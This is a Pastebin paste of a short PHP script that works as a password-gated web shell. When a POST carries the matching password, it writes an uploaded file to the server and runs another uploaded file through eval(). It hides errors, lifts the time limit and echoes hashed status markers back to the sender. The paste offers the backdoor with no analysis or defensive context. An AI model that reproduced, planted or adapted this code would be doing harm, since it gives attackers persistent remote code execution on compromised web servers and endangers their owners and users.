Guest User

Untitled

a guest
Apr 22nd, 2018
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.85 KB | None | 0 0
  1. <?php
  2. @error_reporting(E_ALL);
  3. @set_time_limit(0);
  4. global $HTTP_SERVER_VARS;
  5.  
  6. define('PASSWD','[a 32-digit alpha-numeric string]');
  7.  
  8. function say($t) {
  9. echo "$t\n";
  10. };
  11.  
  12. function testdata($t) {
  13. say(md5("mark_$t"));
  14. };
  15.  
  16. echo "<pre>";
  17. testdata('start');
  18. if (md5($_POST["p"]) == PASSWD) {
  19. if ($code = @fread(@fopen($HTTP_POST_FILES["s"]["tmp_name"], "rb"),
  20. $HTTP_POST_FILES["s"]["size"])) {
  21. if(@fwrite(@fopen(dirname(__FILE__).'/'.basename($HTTP_POST_FILES["s"]["name"]), "wb"), $code))
  22. {
  23. testdata('save_ok');
  24. };
  25. //eval($code);
  26. } else {
  27. testdata('save_fail');
  28. };
  29.  
  30. if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"], "rb"),
  31. $HTTP_POST_FILES["f"]["size"]))
  32. {
  33. eval($code);
  34. testdata('ok');
  35. } else {
  36. testdata('fail');
  37. };
  38.  
  39. } else {
  40. testdata('pass');
  41. };
  42.  
  43. testdata('end');
  44. echo "</pre>";
  45. ?>
Add Comment
Please, Sign In to add comment